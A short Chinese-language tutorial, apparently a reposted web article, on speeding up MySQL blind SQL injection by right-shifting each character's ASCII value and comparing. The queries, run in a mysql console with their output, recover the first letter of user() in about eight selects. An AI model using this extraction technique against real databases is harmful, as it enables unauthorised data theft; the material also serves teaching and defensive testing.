通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
下面将以查询mysql 数据库 当中user()的第一位为例:
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql > select substr(user(),3,1)
首先执行如下sql语句: www.2cto.com
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
+————————————–+
| (ascii((substr(user(),1,1))) >> 7)=0 |
+————————————–+
| 1 |
+————————————–+
1 row in set (0.00 sec)
第二次我们来做6次右偏移来确定前两位
前两位可能是01或00,即依然可以与0做比较,
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
+————————————–+
| (ascii((substr(user(),1,1))) >> 6)=0 |
+————————————–+
| 0 |
+————————————–+
1 row in set (0.00 sec)
让我们看看010和011的ascii码是多少
分别查询select b’011′ select b’010′
执行如下sql:
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
+————————————–+
| (ascii((substr(user(),1,1))) >> 5)=2 |
+————————————–+
| 0 |
+————————————–+
直到获得最后一位
转换一下:
select b’01110010′
查询结果
+————-+
| b’01110010′ |
+————-+
| r |
+————-+
1 row in set (0.00 sec)
这样我们就获得了user()的第一位.其它位依此类推
查看更多关于关于通过对8bit的ascii做右位移提高mysql盲注的详细内容...